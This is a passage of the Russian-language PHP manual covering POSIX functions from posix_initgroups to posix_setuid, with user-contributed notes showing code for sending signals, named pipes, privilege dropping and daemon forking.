Определяет уровень доступа группы для пользователя, указанного в параметрах.

Список параметров

username

Имя пользователя, для которого определяется уровень доступа.

group_id

Идентификатор базовой группы из файла password.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • Руководство Unix initgroups(3).

User Contributed Notes

victor dot kupiyanov at gmail dot com 22-Mar-2012 08:19
The function does not calculate groups, it sets groups access list of the current process in accordance to user information in /etc/groups.

Quote from Unix manual page for initgroups:

NAME
       initgroups - initialize the supplementary group access list
...
DESCRIPTION
       The  initgroups()  function  initializes  the  group  access  list  by  reading the
       group database /etc/group and using all groups of which user is a member.
       The additional  group  group  is  also added to the list.


Определяет является ли файловый дескриптор интерактивным терминалом

  • « posix_initgroups
  • posix_kill »
  • PHP Manual
  • POSIX Функции
  • Определяет является ли файловый дескриптор интерактивным терминалом

posix_isatty

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_isatty — Определяет является ли файловый дескриптор интерактивным терминалом

Описание

posix_isatty(resource|int $file_descriptor): bool

Определяет является ли файловый дескриптор file_descriptor ссылкой на валидный терминал.

Список параметров

file_descriptor

Файловый дескриптор, который ожидается в виде или ресурса resource или целого числа int. Под int подразумевается файловый дескриптор, который можно передать непосредственно в базовый системный вызов.

Возвращаемые значения

Возвращает true если file_descriptor является открытым файловым дескриптором, связанным с терминалом и false в остальных случаях.

Список изменений

Версия | Описание
8.3.0 | Ошибки уровня E_WARNING теперь выдаются при преобразованиях целых чисел в соответствии с обычной семантикой преобразования типов PHP.

Смотрите также

  • posix_ttyname() - Определяет имя терминального устройства
  • stream_isatty() - Проверяет, является ли поток TTY

User Contributed Notes

KEINOS 08-Jan-2021 10:34
It's quite complicated to understand its movements. But it determines if the file_descriptor is open AND connected to a terminal.

Thus, while receiving data from the STDIN, for example, it will return false.

This move is useful to optionally pipe STDIN to a PHP script, to avoid hanging when nothing is from STDIN.

<?php

// Simply echoes the contents from STDIN if any
// and "no stdin" if not.
echo (posix_isatty(STDIN)) ? 'no stdin' . PHP_EOL : file_get_contents('php://stdin');
?>
hfuecks at phppatterns dot com 07-May-2004 02:12
Can be useful to determine whether output is being piped elsewhere, for PHP shell scripts, for example;

#!/usr/local/bin/php
<?php
if ( !posix_isatty(STDOUT) ) {
    fwrite(STDOUT, "Invalid TTY\n");
    exit(2);
}
fwrite(STDOUT, "Enter you name\n");
$name = fgets(STDIN);
fwrite(STDOUT,"Hello $name\n");
exit(0);
?>

If this script is like:

script.php > outfile

outfile will contain "Invalid TTY"


Отправляет сигнал соответствующему процессу

  • « posix_isatty
  • posix_mkfifo »
  • PHP Manual
  • POSIX Функции
  • Отправляет сигнал соответствующему процессу

posix_kill

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_kill — Отправляет сигнал соответствующему процессу

Описание

posix_kill(int $process_id, int $signal): bool

Отправляет сигнал signal процессу с идентификатором process_id.

Список параметров

process_id

Идентификатор процесса.

signal

Одна из PCNTL констант сигналов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • kill(2) руководство для POSIX систем, которые содержат дополнительную информацию об отрицательных идентификаторах процессов, специальном идентификаторе 0, специальном идентификаторе -1, и сигнале с идентификатором 0.

User Contributed Notes

php at tla-sys dot com 20-Aug-2021 05:56
Although it appears that posix_kill() is built into all modern versions of PHP, it actually requires the "process" extension.  Otherwise, you get an "undefined function" error when you call it.  You might try this to make your code (more) robust on Linux:
<?php
function send_signal(int $pid, int $sig_num) : bool {
    if ( function_exists("posix_kill") ) return posix_kill($pid, $sig_num);
    exec("/usr/bin/kill -s $sig_num $pid 2>&1", $junk, $return_code);
    return ! $return_code;
}
?>
Yes, it works right when $sig_num = 0.
eddi13 29-Oct-2015 09:36
check whether the process is running. windows-linux
<?php
function isRunning($pid) {
        $isRunning = false;
        if(strncasecmp(PHP_OS, "win", 3) == 0) {
            $out = [];
            exec("TASKLIST /FO LIST /FI \"PID eq $pid\"", $out);
            if(count($out) > 1) {
                $isRunning = true;
            }
        }
        elseif(posix_kill(intval($prevPid), 0)) {
            $isRunning = true;
        }
        return $isRunning;
}
?>
Martin 05-May-2015 05:34
Warning!

The $sig parameter cannot be one of the PCNTL signals constants if you are running your script from the browser (ie. as an apache process). Strangely it does seem to allow the constants to be used from the command line ("php -r ...") but if your script is running from within apache then calling posix_kill($pid, SIGINT) will return FALSE (and posix_get_last_error() will return 0).
Mauro 15-May-2014 01:47
Posix_kill is not so reliable (it seems it always deliver the signal - even 0 to a no existing process - and doesn't generate an error).
I found this way to check the existence of a process, using /proc:

if(!file_exists("/proc/$pid/cmdline"

obviously check the permissions .
unsure at tactileint dot com 09-Mar-2011 04:36
Just like the error codes (EPERM, EEXIST, etc), signal numbers are different on different platforms.  EG on macos, SIGCONT is 19; on Linux SIGSTOP is 19.  Big difference.

If you have PCNTL compiled in, you can use the constants like SIGCONT; i trust they're all correct.

If not, look in /usr/include/signal.h; these days its tons of ifdef mumbo jumbo but you can go to /usr/include/bits or /usr/include/sys or something and look for files named sig*.h; one of them will list them for you.
Anonymous 26-Jan-2011 03:27
here is a process kill function for windows:

<?php
function win_kill($pid){
    $wmi=new COM("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
    $procs=$wmi->ExecQuery("SELECT * FROM Win32_Process WHERE ProcessId='".$pid."'");
    foreach($procs as $proc)
      $proc->Terminate();
}
?>
Skippy 14-Jan-2009 02:12
In order to check the outcome of posix_kill() you can use posix_get_last_error(), which will return 0 (zero) in case of success and a non-zero error code otherwise. Use the number returned by posix_get_last_error() as a parameter to posix_strerror() to get a human-readable error message corresponding to that error code.

Please note that a non-zero code from posix_get_last_error() does NOT mean that the pid doesn't exist; it only means that posix_kill() ran into trouble signalling that process. For example, the pid may exist but the process is owned by a user other than the one you use to run the code, and you're not root; in which case you'll get an error saying you're not allowed to signal that process (operation not permitted).

Accordingly, the code posted by Jille earlier is WRONG. According to the POSIX spec (see errno.h on your system), EPERM means "operation not permitted". This should NOT be taken as indication that the pid doesn't exist, it merely means that posix_kill() couldn't signal that process. If anything, it should be a hint that a process with that pid IS running.

errno.h constant names definitions:
http://www.opengroup.org/onlinepubs/009695399/basedefs/errno.h.html

Unfortunately, PHP does not currently define constants with these names (such as EPERM, ENOENT, ESRCH etc.) A non-complete subset is defined for socket operations (SOCKET_EPERM for example), but it doesn't hold all the possible POSIX error constants; ESRCH for instance is of particular interest for posix_kill(), but SOCKET_ESRCH doesn't exist, because it means "no such process" and doesn't make sense for sockets.

Solutions:
* Have PHP devs define these constants in a future PHP version.
* Look-up errno.h on your system and define your own constants. You can use a script to parse errno.h and either define the constants on the fly or generate, once, the PHP code to define them.

Please be advised, however, that relying on a specific errno.h is not portable. Different systems may have different numeric values for these constants. That's why PHP should be defining the constants at compilation time and the code should be able to rely on the constant names; only the names are portable, not the actual values.
regis dot fr dot php dot net at tornad dot net 24-Dec-2008 07:06
A little recursive function to kill a process and his childs.
it works fine for me and I don't have find something else to do it.
It's a mix of various scripts I've found.

<?php
    function killProcessAndChilds($pid,$signal) {
        exec("ps -ef| awk '\$3 == '$pid' { print  \$2 }'", $output, $ret);
        if($ret) return 'you need ps, grep, and awk';
        while(list(,$t) = each($output)) {
            if ( $t != $pid ) {
                killProcessAndChilds($t,$signal);
            }
        }
        //echo "killing ".$pid."\n";
        posix_kill($pid, 9);
    }
?>
Jille at mydevnull dot quis dot cx 16-Apr-2008 06:22
If you want to test whether processes owned by other users are running, you can use:

<?php
  $running=posix_kill($pid, 0);
  if(posix_get_last_error()==1) /* EPERM */
    $running=true;
?>

If the process is owned by somebody else (and you're not root), you will get an EPERM.
On my system (FreeBSD) this is defined to 1.

You should test what the value of EPERM is on your system.
Jacques Manukyan 21-Mar-2008 06:40
Keep in mind that you can only send kill signals to processes owned by your UID.

If you are running your program as root, then you can send kill signals to all processes.
codeslinger at compsalot dot com 02-Feb-2005 08:42
Detecting if another copy of a program is running (*NIX specific)

One cute trick, to see if another process is running, is to send it signal 0.  Signal 0 does not actually get sent, but kill will check to see if it is possible to send the signal.  Note that this only works if you have permission to send a signal to that process.

A practical use for this technique is to avoid running multiple copies of the same program.  You save the PID to a file in the usual way...   Then during start-up you check the value of the PID file and see if that process currently exists.

This is not totally fool-proof.  In rare circumstances it is possible for an unrelated program to have the same recycled PID.  But that other program would most likely not accept signals from your program anyway (unless your program is root).

To make it as reliable as possible, you would want your program to remove it's PID file during shutdown (see register_shutdown_function).  That way, only if your program crashed AND another program happened to use the same PID AND the other program was willing to accept signals from your program, would you get a wrong result.  This would be an exceedingly rare occurrence.  This also assumes that the PID file has not been tampered with (as do all programs that rely on PID files...).

It's also possible to use 'ps x' to detect this, but using kill is much more efficient.

Here is the core routine:

    $PrevPid = file_get_contents($PathToPidFile);

    if(($PrevPid !== FALSE) && posix_kill(rtrim($PrevPid),0)) {
        echo "Error: Server is already running with PID: $PrevPid\n";
        exit(-99);
    } else {
        echo "Starting Server...";
    }

Hmmm...  if you want total 100% reliability, plus efficiency.  What you could do is to make the initial check using kill.  If it says not running, then you are ready to zoom.  But if kill says already running, then you could use:

//You can get the $ProgramName from $argv[0]
$Result = shell_exec('ps x | grep "' . $PrevPid . '" | grep "' . $ProgramName . '" | grep -v "grep"');

Assuming that your program has permissions to do this.  If you execute that and get back an empty string, then the other program is an imposter using a recycled PID and you are clear to go.

-- Erik
gid at gifpaste dot net 17-Dec-2002 04:26
For those that want to kill everything matching a certain pattern (ala killall in for linux), try something like this.  Note that this is a good idea to do something like this for cross platform compatilibity, instead of executing killall, because killall for other UNIXes does just that, kills EVERYTHING.  :)

function killall($match) {
    if($match=='') return 'no pattern specified';
    $match = escapeshellarg($match);
    exec("ps x|grep $match|grep -v grep|awk '{print $1}'", $output, $ret);
    if($ret) return 'you need ps, grep, and awk installed for this to work';
    while(list(,$t) = each($output)) {
        if(preg_match('/^([0-9]+)/', $t, $r)) {
            system('kill '. $r[1], $k);
            if(!$k) $killed = 1;
        }
    }
    if($killed) {
        return '';
    } else {
        return "$match: no process killed";
    }
}


Создаёт специальный fifo файл (именованный канал- pipe)

  • « posix_kill
  • posix_mknod »
  • PHP Manual
  • POSIX Функции
  • Создаёт специальный fifo файл (именованный канал- pipe)

posix_mkfifo

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_mkfifo — Создаёт специальный fifo файл (именованный канал- pipe)

Описание

posix_mkfifo(string $filename, int $permissions): bool

posix_mkfifo() создаёт специальный FIFO файл, который существует в файловой системе и выступает в качестве двунаправленной связи для процессов.

Список параметров

filename

Путь к FIFO файлу.

permissions

Второй параметр permissions должен быть представлен в восьмеричной нотации (например 0644). Это уровень прав для вновь созданного FIFO файла, также зависит от настроек текущего umask(). Права на созданный файл будут определяться как результат (mode & ~umask).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

Mauro Titimoli 30-Dec-2009 05:36
Object Oriented FIFO Communication process:

<?php
interface Communication {
    public function receive($bytes = 1024);

    public function getData();

    public function clearData();

    public function send($data);
}

class FIFOCommunication implements Communication {
    private $fifos;

    private $data;

    static public function stream_fifo_open($fifoPath, $mode) {
        if (pcntl_fork() == 0) {
            if (! file_exists($fifoPath)) {
                posix_mkfifo($fifoPath, $mode);
            }

            $fifo = fopen($fifoPath, 'w');
            sleep(1);

            exit(0);
        }
        else {
            usleep(15);

            return fopen($fifoPath, 'r');
        }
    }

    static public function stream_fifo_write($fifoPath, $mode, $data) {
        if (pcntl_fork() == 0) {
            if (! file_exists($fifoPath)) {
                posix_mkfifo($fifoPath, $mode);
            }

            $fifo = fopen($fifoPath, 'w');

            fwrite($fifo, $data);

            exit(0);
        }
    }

    public function __construct(
        $fifoInputName, $fifoInputMode,
        $fifoOutputName, $fifoOutputMode
    ) {
        $this->fifos = array(
            'input' => array(
                'file' => self::stream_fifo_open($fifoInputName, $fifoInputMode),
                'mode' => $fifoInputMode,
                'name' => $fifoInputName,
                'use' => 'r',
            ),
            'output' => array(
                'mode' => $fifoOutputMode,
                'name' => $fifoOutputName,
                'use' => 'w'
            )
        );
    }
    public function remove($type = null) {
        switch ($type) {
            case 'input':
                @unlink($this->fifos['input']['name']);
                break;

            case 'output':
                @unlink($this->fifos['output']['name']);
                break;

            default:
                @unlink($this->fifos['input']['name']);
                @unlink($this->fifos['output']['name']);
        }
    }

    public function receive($bytes = 1024) {
        $readers = array($this->fifos['input']['file']);
        if (stream_select($readers, $writers = null, $except = null, 0, 15) == 1) {
            $data = fread($this->fifos['input']['file'], $bytes);
        }

        if (! empty($data)) {
            $this->data .= $data;
            return true;
        }
        else {
            return false;
        }
    }

    public function getData() {
        return $this->data;
    }

    public function clearData() {
        $this->data = null;
    }

    public function send($data) {
        $fifoOutput = & $this->fifos['output'];
        self::stream_fifo_write($fifoOutput['name'], $fifoOutput['mode'], $data);
    }
}

$fifoCommunication = new FIFOCommunication(
    getmypid() . '.input', 0600,
    getmypid() . '.output', 0600
);

echo "COMMUNICATION STARTED\n";

while (true) {
    if ($fifoCommunication->receive()) {
        $data = $fifoCommunication->getData();
        if ($data == "EXIT\n") {
            break;
        }
        else {
            $fifoCommunication->send('RECEIVED: ' . $fifoCommunication->getData());
        }
    }

    sleep(1);
}

$fifoComunication->remove();
?>
tim 17-Mar-2009 10:00
For non-blocking, fopen'd read access to a "half-connected" pipe (created with /usr/bin/mkfifo, posix_mkfifo, etc.), I just go ahead and do:
<?php
  $fh=fopen($fifo, "r+"); // ensures at least one writer (us) so will be non-blocking
  stream_set_blocking($fh, false); // prevent fread / fwrite blocking
?>

The "r+" allows fopen to return immediately regardless of external  writer channel.  You then have to use your own conventions to track $fh as a pseudo-read-only resource, since fwrite would technically be permitted as well.  I've successfully used this approach on Linux with PHP 4.3.10 and PHP 5.2.4 with both half-connected (no writer yet) and pre-connected (writer already waiting) pipes, polling with stream_select as usual.
mike at easystyle dot org 14-Oct-2008 05:06
Couldn't you just open up a writer yourself right after you open up a reader?  Just to be sure that you won't have any blocking issues...
TorokAlpar at Gmail dot com 05-Apr-2008 12:11
Here is a possible solution to what  - tech at kwur dot com- mentioned:

 I faced the problem where i had a process (a server) that needed to take care of socket connection, and in the meanwhile get some data from the database. I didn't wanted to make the clients wait for the query execution time, so i decided to make a separate process that executes the query on the DB, and the two would communicate over a pipe. Of course i didn't wanted the server blocking if no data was available. So what i come up with is to use stream_select() , and to overcome the mentioned problem, i would fork the process, open up the pipe for writing in the child, this way the parent won't block when it opens the pipe.

here is some code

<code>

<?php

if (pcntl_fork() == 0)
{
    // kid
    $file = fopen("JobsQueue","w");
    sleep(1);
    exit(0);
}
else
{
    usleep(15); // make sure that the child executes first
    $file = fopen("JobsQueue","r");
}

 echo "opened the queue \n";

 while (true)
 {
     $reders = array($file);
     if (stream_select($reders,$writers=null,$except=null,0,15) < 1)
     {
         continue;
     }
     else
     {
         // read data from the fifo
         $data = fread($file,1024);
         echo $data;
     }
     sleep(1);
 }

?>

</code>
tech at kwur dot com 19-Sep-2007 10:44
This is still not a solution: if I listen to commands on a pipe and output status on a separate pipe, PHP will block on both opens because something else has not already connected to this pipe.  Because I can't do a low-level fcntl() to to set O_NONBLOCK or something like it, this always locks up and is really stupid.  The only way I can get it to work is to spawn seperate subshells with system() and have them cat, or echo respectively and then the pipes work properly...usually?  Its alot of trouble that we can't set the blocking on the open!!
Enric Jaen 16-Aug-2007 09:22
A way to have a non-blocking pipe reader is to check first if the pipe exists. If so, then read from the pipe, otherwise do other stuff. This will work assuming that the writer creates the pipe, writes on it, and after that deletes the pipe.

This is a blocking writer:

<?php
   $pipe="/tmp/pipe";
   $mode=0600;
   if(!file_exists($pipe)) {
      // create the pipe
      umask(0);
      posix_mkfifo($pipe,$mode);
   }
   $f = fopen($pipe,"w");
   fwrite($f,"hello");  //block until there is a reader
   unlink($pipe); //delete pipe

?>

And this is the non-blocking reader:

<?php
   $pipe="/tmp/pipe";
   if(!file_exists($pipe)) {
      echo "I am not blocked!";
   }
   else {
      //block and read from the pipe
      $f = fopen($pipe,"r");
      echo fread($f,10);
   }
?>
Uther Pendragon 18-May-2007 02:12
Note (quoted from `man 7 pipe` on debian linux):

"On some systems (but not Linux), pipes are bidirectional:  data  can  be  transmitted  in  both directions  between  the pipe ends.  According to POSIX.1-2001, pipes only need to be unidirectional.  Portable applications should avoid reliance on bidirectional pipe semantics."

Linux pipes are NOT bidirectional.

Also, it appears to me that the use of fifo (named) pipes in php is pretty pointless as there appears to be NO way of determining whether opening (let alone reading) from it will block.  stream_select SHOULD be able to accomplish this, unfortunatly you cannot get to this point because even trying to OPEN a pipe for read will block until there is a writer.

I even tried to use popen("cat $name_of_pipe", 'r'), and even it blocked until it was opened for write by another process.


Создаёт специальный или обычный файл (POSIX.1)

  • « posix_mkfifo
  • posix_pathconf »
  • PHP Manual
  • POSIX Функции
  • Создаёт специальный или обычный файл (POSIX.1)

posix_mknod

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

posix_mknod — Создаёт специальный или обычный файл (POSIX.1)

Описание

posix_mknod(
string $filename,
int $flags,
int $major = 0,
int $minor = 0
): bool

Создаёт специальный или обычный файл.

Список параметров

filename

Путь и имя создаваемого файла

flags

Данный параметр получается с помощью побитового ИЛИ между типом файла (одной из следующих констант: POSIX_S_IFREG, POSIX_S_IFCHR, POSIX_S_IFBLK, POSIX_S_IFIFO или POSIX_S_IFSOCK) и правами доступа.

major

Старший номер устройства (обязательный параметр при использовании констант S_IFCHR или S_IFBLK).

minor

Младший номер устройства.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_mknod()

<?php

$file = '/tmp/tmpfile'; // file name
$type = POSIX_S_IFBLK; // file type
$permissions = 0777; // octal
$major = 1;
$minor = 8; // /dev/random

if (!posix_mknod($file, $type | $permissions, $major, $minor)) {
die('Error ' . posix_get_last_error() . ': ' . posix_strerror(posix_get_last_error()));
}

?>

Смотрите также

  • posix_mkfifo() - Создаёт специальный fifo файл (именованный канал- pipe)

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of a configurable limit

  • « posix_mknod
  • posix_setegid »
  • PHP Manual
  • POSIX Функции
  • Returns the value of a configurable limit

posix_pathconf

(PHP 8 >= 8.3.0)

posix_pathconf — Returns the value of a configurable limit

Описание

posix_pathconf(string $path, int $name): int|false
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Returns the value of a configurable limit from name for a file

Список параметров

path

The name of the file whose limit you want to get.

name

The name of the configurable limit, one of the following. POSIX_PC_LINK_MAX, POSIX_PC_MAX_CANON POSIX_PC_MAX_INPUT, POSIX_PC_NAME_MAX POSIX_PC_PATH_MAX, POSIX_PC_PIPE_BUF POSIX_PC_CHOWN_RESTRICTED, POSIX_PC_NO_TRUNC POSIX_PC_ALLOC_SIZE_MIN, POSIX_PC_SYMLINK_MAX

Возвращаемые значения

Returns the configurable limit or false.

Ошибки

Throws a ValueError when path is empty.

Примеры

Пример #1 posix_pathconf() example

This example will get the max path name's length in bytes for the tmp dir.

<?php
echo posix_pathconf(sys_get_temp_dir(), POSIX_PC_PATH_MAX);
?>

Результат выполнения данного примера:

4096

Примечания

Смотрите также

  • posix_fpathconf() - Returns the value of a configurable limit

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает эффективный идентификатор группы для текущего процесса EGID

  • « posix_pathconf
  • posix_seteuid »
  • PHP Manual
  • POSIX Функции
  • Устанавливает эффективный идентификатор группы для текущего процесса EGID

posix_setegid

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

posix_setegid — Устанавливает эффективный идентификатор группы для текущего процесса EGID

Описание

posix_setegid(int $group_id): bool

Устанавливает эффективный идентификатор группы для текущего процесса. Это привилегированная функция и требует соответствующих прав (как правило прав суперпользователя root) в системе, чтобы иметь возможность выполнять её.

Список параметров

group_id

Устанавливаемый эффективный идентификатор группы для текущего процесса

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_setegid()

Данный пример выводит эффективный идентификатор группы процесса до и после изменения.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

Смотрите также

  • posix_getgrgid() - Возвращает информацию о группе по её ID
  • posix_getgid() - Возвращает действительный ID группы текущего процесса GID
  • posix_setgid() - Устанавливает идентификатор группы для текущего процесса GID

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает эффективный идентификатор пользователя для текущего процесса EUID

  • « posix_setegid
  • posix_setgid »
  • PHP Manual
  • POSIX Функции
  • Устанавливает эффективный идентификатор пользователя для текущего процесса EUID

posix_seteuid

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

posix_seteuid — Устанавливает эффективный идентификатор пользователя для текущего процесса EUID

Описание

posix_seteuid(int $user_id): bool

Устанавливает эффективный идентификатор пользователя. Это привилегированная функция и требует соответствующих прав (как правило прав суперпользователя root) чтобы иметь возможность выполнить её.

Список параметров

user_id

Устанавливаемый идентификатор пользователя.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • posix_geteuid() - Возвращает эффективный идентификатор пользователя текущего процесса EUID
  • posix_setuid() - Устанавливает UID текущего процесса
  • posix_getuid() - Возвращает фактический идентификатор пользователя текущего процесса UID

User Contributed Notes

divinity76 at gmail dot com 14-Jul-2020 11:23
if you want to set uid by username rather than uid, try combining it with posix_getpwnam(),

<?php
posix_seteuid (posix_getpwnam("www-data")["uid"]);
posix_setegid(posix_getpwnam("www-data")["gid"]);
?>

note that posix_getpwnam() reads /etc/passwd on each invocation, if you need it to go fast, this should be faster (only read passwd once):
<?php
$posix_user_info=posix_getpwnam("www-data");
posix_seteuid ($posix_user_info["uid"]);
posix_setegid($posix_user_info["gid"]);
?>

and to go back to being root, just set them to 0,

<?php
posix_seteuid(0);
posix_setegid(0);
?>


Устанавливает идентификатор группы для текущего процесса GID

  • « posix_seteuid
  • posix_setpgid »
  • PHP Manual
  • POSIX Функции
  • Устанавливает идентификатор группы для текущего процесса GID

posix_setgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setgid — Устанавливает идентификатор группы для текущего процесса GID

Описание

posix_setgid(int $group_id): bool

Устанавливает фактический идентификатор группы текущего процесса. Это привилегированная функция и требует соответствующих прав (обычно прав суперпользователя root) в системе, чтобы иметь возможность выполнить её. Правильным является следующий порядок вызова функций: сначала posix_setgid(), затем posix_setuid().

Замечание:

Если функция будет вызвана суперпользователем, то также будет установлен и эффективный идентификатор группы пользователя.

Список параметров

group_id

Идентификатор группы.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_setgid()

Код ниже выводит эффективный идентификатор группы до и после изменения.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setgid(40);
echo 'My real group id is '.posix_getgid(); //40
echo 'My effective group id is '.posix_getegid(); //40
?>

Смотрите также

  • posix_getgrgid() - Возвращает информацию о группе по её ID
  • posix_getgid() - Возвращает действительный ID группы текущего процесса GID

User Contributed Notes

jac 26-May-2011 10:26
if you're going to use this along with posix_setuid, make sure you call posix_setgid first:

<?php
define (PROC_USER, 'john');
define (PROC_GRP, 'admins');
?>

following works:

<?php
$user = posix_getpwnam( PROC_USER );
$group = posix_getgrnam( PROC_GRP);

echo posix_getuid()."\n";
echo posix_getgid()."\n";

posix_setgid($group['gid']);
posix_setuid($user['uid']);

echo posix_getuid()."\n";
echo posix_getgid()."\n";
?>

following will not set gid

<?php
$user = posix_getpwnam( PROC_USER );
$group = posix_getgrnam( PROC_GRP);

echo posix_getuid()."\n";
echo posix_getgid()."\n";

posix_setuid($user['uid']);
posix_setgid($group['gid']);

echo posix_getuid()."\n";
echo posix_getgid()."\n";
?>


Устанавливает идентификатор группы процесса для менеджера задач

  • « posix_setgid
  • posix_setrlimit »
  • PHP Manual
  • POSIX Функции
  • Устанавливает идентификатор группы процесса для менеджера задач

posix_setpgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setpgid — Устанавливает идентификатор группы процесса для менеджера задач

Описание

posix_setpgid(int $process_id, int $process_group_id): bool

Добавляет к процессу process_id идентификатор группы process_group_id.

Список параметров

process_id

Идентификатор процесса.

process_group_id

Идентификатор группы процесса.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • Для получения более полной информации о процессах и управлении заданиями обратитесь к POSIX.1 и setsid(2) руководству в POSIX системах.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает пределы системных ресурсов

  • « posix_setpgid
  • posix_setsid »
  • PHP Manual
  • POSIX Функции
  • Устанавливает пределы системных ресурсов

posix_setrlimit

(PHP 7, PHP 8)

posix_setrlimit — Устанавливает пределы системных ресурсов

Описание

posix_setrlimit(int $resource, int $soft_limit, int $hard_limit): bool

posix_setrlimit() устанавливает жёсткие и мягкие пределы заданных системных ресурсов.

С каждым ресурсом ассоциированы свои мягкие и жёсткие ограничения. Мягкие ограничения — это величина, которую ядро обещает обеспечить ресурсу. Жёсткие ограничения — это величина, характеризующая потолок мягких ресурсов. Непривилегированный процесс может управлять только своими мягкими ограничениями, выставляя их от 0 до величины жёсткого ограничения.

Список параметров

resource

Константа предела ресурса отвечающая за предел, который должен быть установлен.

soft_limit

Мягкий предел, любой требуемый предел, или POSIX_RLIMIT_INFINITY.

hard_limit

Жёсткий предел, любой требуемый предел, или POSIX_RLIMIT_INFINITY.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • man page SETRLIMIT(2)
  • posix_getrlimit() - Возвращает информацию об ограничениях системных ресурсов

User Contributed Notes

There are no user contributed notes for this page.


Делает текущий процесс лидером сессии

  • « posix_setrlimit
  • posix_setuid »
  • PHP Manual
  • POSIX Функции
  • Делает текущий процесс лидером сессии

posix_setsid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setsid — Делает текущий процесс лидером сессии

Описание

posix_setsid(): int

Делает текущий процесс лидером сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор сессии или -1 в случае возникновения ошибки.

Смотрите также

  • Стандарт POSIX.1 руководство по setsid(2) в POSIX совместимых системах для получения более полной информации о группах процессов и управлении заданиями.

User Contributed Notes

karlsson dot nicklas at gmail dot com 22-Jan-2008 08:32
Very useful when making daemons, for example:

<?php
    $pid = pcntl_fork(); // fork
    if ($pid < 0)
        exit;
    else if ($pid) // parent
        exit;
    else { // child

        $sid = posix_setsid();

        if ($sid < 0)
            exit;

        for($i = 0; $i <= 60; $i++) { // do something for 5 minutes
            sleep(5);
        }
    }
?>


Устанавливает UID текущего процесса

  • « posix_setsid
  • posix_strerror »
  • PHP Manual
  • POSIX Функции
  • Устанавливает UID текущего процесса

posix_setuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_setuid — Устанавливает UID текущего процесса

Описание

posix_setuid(int $user_id): bool

Устанавливает фактический идентификатор пользователя текущего процесса. Это привилегированный процесс и требует соответствующих прав (обычно прав суперпользователя root) в системе для возможности выполнить эту функцию.

Список параметров

user_id

Идентификатор пользователя.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_setuid()

Данный код выводит текущий идентификатор пользователя, затем изменяет его.

<?php
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10001
posix_setuid(10000);
echo posix_getuid()."\n"; //10000
echo posix_geteuid()."\n"; //10000
?>

Смотрите также

  • posix_setgid() - Устанавливает идентификатор группы для текущего процесса GID
  • posix_seteuid() - Устанавливает эффективный идентификатор пользователя для текущего процесса EUID
  • posix_getuid() - Возвращает фактический идентификатор пользователя текущего процесса UID
  • posix_geteuid() - Возвращает эффективный идентификатор пользователя текущего процесса EUID

User Contributed Notes

Leigh 22-May-2014 02:08
Note that on unix, if your target user does not have a valid shell, some php functions (eg: tempnam) will not work correctly:

$ grep www-data /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

$ cat test.php
#!/usr/bin/php -q
<?php
    $info=posix_getpwnam("www-data");
    $id=$info["uid"];

    $file=tempnam("/tmp","something");
    print "PRE SetUID: $file\n";

    $SETUID=posix_setuid($id);

    $file=tempnam("/tmp","something");
    print "POST SetUID: $file\n";
?>

$ sudo ./test.php
PRE SetUID: /tmp/somethingrsb1qZ
POST SetUID:
fm at farhad.ca 17-Oct-2007 03:44
When you do a posix_setuid from root to some other users you will not have access to files owned by root according to their permissions. For instance if you change owner of the process and still need to open a file for read or write with 600 permission owned by root you will receive a permission denied.
There are some ways to do this (i.e. a unix socket or tcp daemon etc), but probably the most easiest way is:

Open the file before changing ownership of process, save the file pointer in a global variable and use it after changing ownership.

For example assume /root/test_file is a file owned by root:root and have a permission of 600 and you are running this script under root. This code will not work:

<?php
// Change ownership of process to nobody
posix_setgid(99);
posix_setuid(99);

$fd = fopen('/root/test_file','a');
fwrite($fd,"some test strings");
fclose();

?>

But this one will work:

<?php
$fd = fopen('/root/test_file','a');

// Change ownership of process to nobody
posix_setgid(99);
posix_setuid(99);

fwrite($fd,"some test strings");
fclose();

?>

Hope this helps some one.

[Tested on CentOS 5 - Linux 2.6.x - PHP 5.2.x]
reuben @ nospam me 25-Apr-2007 06:25
In response to a note above that advocated the user of system() in a setuid program written in C, this is generally a bad idea for security.

You should use the standard library calls like execl() instead because system() can be manipulated to execute the wrong thing using the SHELL, IFS and possibly other variables.
TheWanderer 09-Feb-2007 04:16
